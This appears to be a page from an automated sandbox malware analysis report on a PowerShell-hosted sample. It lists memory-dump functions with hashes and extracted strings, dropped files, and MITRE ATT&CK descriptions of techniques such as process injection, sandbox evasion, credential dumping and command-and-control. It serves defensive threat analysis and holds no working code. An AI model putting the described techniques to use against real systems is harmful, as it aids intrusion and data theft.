Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$x.~h$-~h
API String ID: 0-3505677895
Opcode ID: 230a47b7fed2a78bcbd4f24dbac3770a18741464a4b16e8cfb16a60c27daa168
Instruction ID: dec6294942f76f9665aa1747b3d820ae09bb7634d800dcb557007dd0aea6e4c4
Opcode Fuzzy Hash: 230a47b7fed2a78bcbd4f24dbac3770a18741464a4b16e8cfb16a60c27daa168
Instruction Fuzzy Hash: ACC1AFB4B002089FDB14DB68C554B9EBBB3FF88714F148468E5016F395CB76DD898BA1

Function 077548AF Relevance: 7.8, Strings: 6, Instructions: 279COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07754A67
4'^q, xrefs: 07754A7D
4'^q, xrefs: 07754B21
x.~h, xrefs: 07754CA4
-~h, xrefs: 07754CF2
4'^q, xrefs: 07754B0B

Memory Dump Source

Source File: 00000006.00000002.2720857155.0000000007750000.00000040.00000800.00020000.00000000.sdmp, Offset: 07750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7750000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$x.~h$-~h
API String ID: 0-3505677895
Opcode ID: 3e56e7324030908416d49a411d1d9e43e003c5e5b181f7dacd79199ae2cfbc38
Instruction ID: a5d942f42f05dd206e32f931e66188aff52c416f5a39f76fe81b1ecc8dbcffaf
Opcode Fuzzy Hash: 3e56e7324030908416d49a411d1d9e43e003c5e5b181f7dacd79199ae2cfbc38
Instruction Fuzzy Hash: 35C17DB4B002199FDB64DB14C944B9ABBB2FB85304F5085D8DA08AF355CB71AEC5CF91

Function 07BF66C2 Relevance: 6.4, Strings: 5, Instructions: 139COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07BF68A2
$^q, xrefs: 07BF67C8
$^q, xrefs: 07BF6786
$^q, xrefs: 07BF6854
$^q, xrefs: 07BF67EF

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$$^q$$^q$$^q$$^q
API String ID: 0-2825857601
Opcode ID: 9a81555720933af20e42c26168565d64261a17d7262a94bb767f446f3bf98742
Instruction ID: 6770bd5281cc46d7bb8b25c1dd8ed57ca4d50b9562bf56514d93ceea476f6fb9
Opcode Fuzzy Hash: 9a81555720933af20e42c26168565d64261a17d7262a94bb767f446f3bf98742
Instruction Fuzzy Hash: FD5181F0A0020ADFEB29CF14C5487A677B1EF46A19F1485EAEE148B191D735D98CCBA1

Function 07BFA958 Relevance: 6.4, Strings: 5, Instructions: 117COMMON

Download Yara Rule

Strings

$^q, xrefs: 07BFAA9C
$^q, xrefs: 07BFAA4E
$^q, xrefs: 07BFAA10
4'^q, xrefs: 07BFAADE
$^q, xrefs: 07BFAA2C

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$$^q$$^q$$^q$$^q
API String ID: 0-2825857601
Opcode ID: 136fc02efc121e6e094a90274a02a0ff945b7f0e64ead0aedc6b468ba93a084d
Instruction ID: 9d440aca1d091667b8fd5bbaf45fcc19c542ed741b7d5ec4c38a6c2bc22aafdb
Opcode Fuzzy Hash: 136fc02efc121e6e094a90274a02a0ff945b7f0e64ead0aedc6b468ba93a084d
Instruction Fuzzy Hash: D54183F0A15206DFEB2C8E14CA447657BA6EF43A10F05C0EADA098B251D735D98DCB91

Function 07BFC618 Relevance: 6.4, Strings: 5, Instructions: 112COMMON

Download Yara Rule

Strings

tP^q, xrefs: 07BFC721
TQcq, xrefs: 07BFC675
4'^q, xrefs: 07BFC6CF
4'^q, xrefs: 07BFC809
TQcq, xrefs: 07BFC7D9

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$TQcq$TQcq$tP^q
API String ID: 0-3549194529
Opcode ID: 7e703636ca2871af26f0fa9b7e45c8f344119a6c4f9b3aa6c5aaf8c8747a17e0
Instruction ID: b6343b6d88e1e97f9f605331d943c261bad9df8b3a22ee62fca5cf3b6eead654
Opcode Fuzzy Hash: 7e703636ca2871af26f0fa9b7e45c8f344119a6c4f9b3aa6c5aaf8c8747a17e0
Instruction Fuzzy Hash: 894181F1A0420EDBEB248E15C544B66BFA2FF45B51F1894DADA019F294C771D8C8CBB1

Function 07BF5720 Relevance: 6.4, Strings: 5, Instructions: 108COMMON

Download Yara Rule

Strings

$^q, xrefs: 07BF57C6
$^q, xrefs: 07BF57E7
4'^q, xrefs: 07BF58A2
$^q, xrefs: 07BF5873
$^q, xrefs: 07BF580E

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$$^q$$^q$$^q$$^q
API String ID: 0-2825857601
Opcode ID: 73aeaf0e9b6a28cbe7669d2a0152c7383fd52ba8595a4c90c35b92119d8db8df
Instruction ID: 8e6c6b29e5802c333268dc513c3b67bbebc359df064dfdbfb165a3ec5c23132b
Opcode Fuzzy Hash: 73aeaf0e9b6a28cbe7669d2a0152c7383fd52ba8595a4c90c35b92119d8db8df
Instruction Fuzzy Hash: 97416CF0A1020ADFFF38CE15C548BA977A1EF41B21F1884E6E6048B190D734DAACCB91

Function 07BF872A Relevance: 6.4, Strings: 5, Instructions: 103COMMON

Download Yara Rule

Strings

$^q, xrefs: 07BF8853
$^q, xrefs: 07BF87FE
$^q, xrefs: 07BF87D4
4'^q, xrefs: 07BF887B
$^q, xrefs: 07BF87B3

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$$^q$$^q$$^q$$^q
API String ID: 0-2825857601
Opcode ID: 438bb8c7cbe042835b022688e9da3e5a487168431caea97c7909e540a33b64d6
Instruction ID: 97b7796b3e2c4c8b5de54093b8db1ccaf2fde66aadc76f8e14da9a61832b9133
Opcode Fuzzy Hash: 438bb8c7cbe042835b022688e9da3e5a487168431caea97c7909e540a33b64d6
Instruction Fuzzy Hash: D331DEF1A0430ADFFB248E55C948BA577B5EF41F10F2880EADA05AB251DB35C98CCB61

Function 07BF7388 Relevance: 5.3, Strings: 4, Instructions: 325COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07BF772E
tP^q, xrefs: 07BF742B
tP^q, xrefs: 07BF741F
4'^q, xrefs: 07BF773A

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q
API String ID: 0-3859475322
Opcode ID: 8a3ef43b98fe04e246b8a27de4eb668f2ee1b0da2dee6544e9c228b72aee1b96
Instruction ID: 4c930741d8b662ba6eb5c3a9eb542b1116bb6d96dd802c229ca122b9423c7cb3
Opcode Fuzzy Hash: 8a3ef43b98fe04e246b8a27de4eb668f2ee1b0da2dee6544e9c228b72aee1b96
Instruction Fuzzy Hash: 05A18BF1B002059FEB119F28980066ABBE2EF85A10F9484EAD645DF391DE31DC4EC7A1

Function 07BF26FB Relevance: 5.2, Strings: 4, Instructions: 236COMMON

Download Yara Rule

Strings

-~h, xrefs: 07BF2A2C
4'^q, xrefs: 07BF291C
x.~h, xrefs: 07BF29E7
4'^q, xrefs: 07BF299B

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$x.~h$-~h
API String ID: 0-785572776
Opcode ID: ca9fb16e7c45e915b9303ce2e271b0122b033a7fc9db2f5b3cb32104e211395b
Instruction ID: c514c395e3f7be9931fd577f117cac70cb119bfbb9b43347ed15b382e96ccfa8
Opcode Fuzzy Hash: ca9fb16e7c45e915b9303ce2e271b0122b033a7fc9db2f5b3cb32104e211395b
Instruction Fuzzy Hash: E1918CB4A002059FDB14CB58C554BDEBBB2FF88714F14C069E5056F3A5CB36EC898BA1

Function 07BFCFA0 Relevance: 5.2, Strings: 4, Instructions: 215COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07BFD019
4'^q, xrefs: 07BFD025
tP^q, xrefs: 07BFD06F
tP^q, xrefs: 07BFD07B

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q
API String ID: 0-3859475322
Opcode ID: 1ea43e1d2f08a206658a9ebaf1738d43b0a947b86ade6b44f0b4f6ee91d570fd
Instruction ID: 640639e8d7b59bd22826ee2fa51a24679ca785081c8a3010f8f70c7583dbf631
Opcode Fuzzy Hash: 1ea43e1d2f08a206658a9ebaf1738d43b0a947b86ade6b44f0b4f6ee91d570fd
Instruction Fuzzy Hash: D6614BF1B042058FE7149B799860666FBA6EFD1A10F1884BBD6058F355DA32DC4EC3A1

Function 07BFA690 Relevance: 5.2, Strings: 4, Instructions: 204COMMON

Download Yara Rule

Strings

tP^q, xrefs: 07BFA7E1
4'^q, xrefs: 07BFA896
4'^q, xrefs: 07BFA88A
tP^q, xrefs: 07BFA7D5

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q
API String ID: 0-3859475322
Opcode ID: 72af8db081cb8914c3d58bcabf6905d33ee480762bc41ef076d726d1a1baacee
Instruction ID: ffc45437f05c662ce4f76aee28a48fb13dfab851add1057c5e94f67dfa2bd721
Opcode Fuzzy Hash: 72af8db081cb8914c3d58bcabf6905d33ee480762bc41ef076d726d1a1baacee
Instruction Fuzzy Hash: 8761F9B0B401099FEB1C9F69C448B6AB7E2EF89B10F14C4A9D6099F354DB71DC4AC791

Function 07BFD2FD Relevance: 5.1, Strings: 4, Instructions: 123COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07BFD461
tP^q, xrefs: 07BFD4B7
(o^q, xrefs: 07BFD340
(o^q, xrefs: 07BFD34C

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$4'^q$tP^q
API String ID: 0-1804823154
Opcode ID: 786e3495294f238ba7ebf0ad5a343bb816c408f7f39df8b26709055e4ae5fa3a
Instruction ID: 0379aea3b37251e395a53c7d461096eae4ccd2ad95ba694621fdb7b90114895b
Opcode Fuzzy Hash: 786e3495294f238ba7ebf0ad5a343bb816c408f7f39df8b26709055e4ae5fa3a
Instruction Fuzzy Hash: 204129B0B052458FEB219B588554B66BFA1EF82B10F5884EADA049F256C731EC4DC7A1

Function 07BF5C48 Relevance: 5.1, Strings: 4, Instructions: 116COMMON

Download Yara Rule

Strings

(o^q, xrefs: 07BF5C97
(o^q, xrefs: 07BF5C8B
$^q, xrefs: 07BF5D4C
tP^q, xrefs: 07BF5DCF

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$tP^q$$^q
API String ID: 0-1137240099
Opcode ID: a5ee6480b47ca690f68b4c2c856e05913b98f9ab88593eb2b8c572ab168e723c
Instruction ID: 2e5b37ae2a7a1842237379c0087bf3d9e0ea4dcc78a68b849d416faf4ef61789
Opcode Fuzzy Hash: a5ee6480b47ca690f68b4c2c856e05913b98f9ab88593eb2b8c572ab168e723c
Instruction Fuzzy Hash: AD412AB1E012059FEB348F58C958F66BFE1EF85B10F1884AAEA149F255C731DC58CBA1

Function 07BF3C68 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$^q, xrefs: 07BF3CC4
$^q, xrefs: 07BF3C7A
$^q, xrefs: 07BF3C96
$^q, xrefs: 07BF3CD0

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: d97b2e2ee937a4e8561d89369725536659a368715336d4c843880280e08a18d0
Instruction ID: e54f5c939ca6921153e3c7c4341b7f26a6d97daa5bb3dfc6ffa42395269f8171
Opcode Fuzzy Hash: d97b2e2ee937a4e8561d89369725536659a368715336d4c843880280e08a18d0
Instruction Fuzzy Hash: 992107F570430A5BFB24597A9804B27B6DA9BC0F11F24846AEB09CF385DD32D8498261

Function 07BF0309 Relevance: 5.0, Strings: 4, Instructions: 45COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07BF037F
$^q, xrefs: 07BF035E
4'^q, xrefs: 07BF0373
$^q, xrefs: 07BF0352

Memory Dump Source

Source File: 00000006.00000002.2724313429.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7bf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q
API String ID: 0-2049395529
Opcode ID: 01b1c5ade032e3fdf89915ded82b991bec3d15b92d2c3c8faf54a1903741ecbe
Instruction ID: 4a6310e8602fe40c8bb2b21c9a3368b8e8d4f5827714fcb04510c8d7dbf0c248
Opcode Fuzzy Hash: 01b1c5ade032e3fdf89915ded82b991bec3d15b92d2c3c8faf54a1903741ecbe
Instruction Fuzzy Hash: 9E01F9A6B0D3868FD72B262814242646FF29FC7D2076A45DBC181CF3ABCD158C4D83A7

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\winwidgetshp[1].json

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hfgw41fq.42d.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pziobvie.pow.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v2wdiptt.5ji.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w1plfcxf.wka.ps1

Static File Info

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Function 07801C54 Relevance: 2.6, APIs: 1, Instructions: 1067
nativethreadCOMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre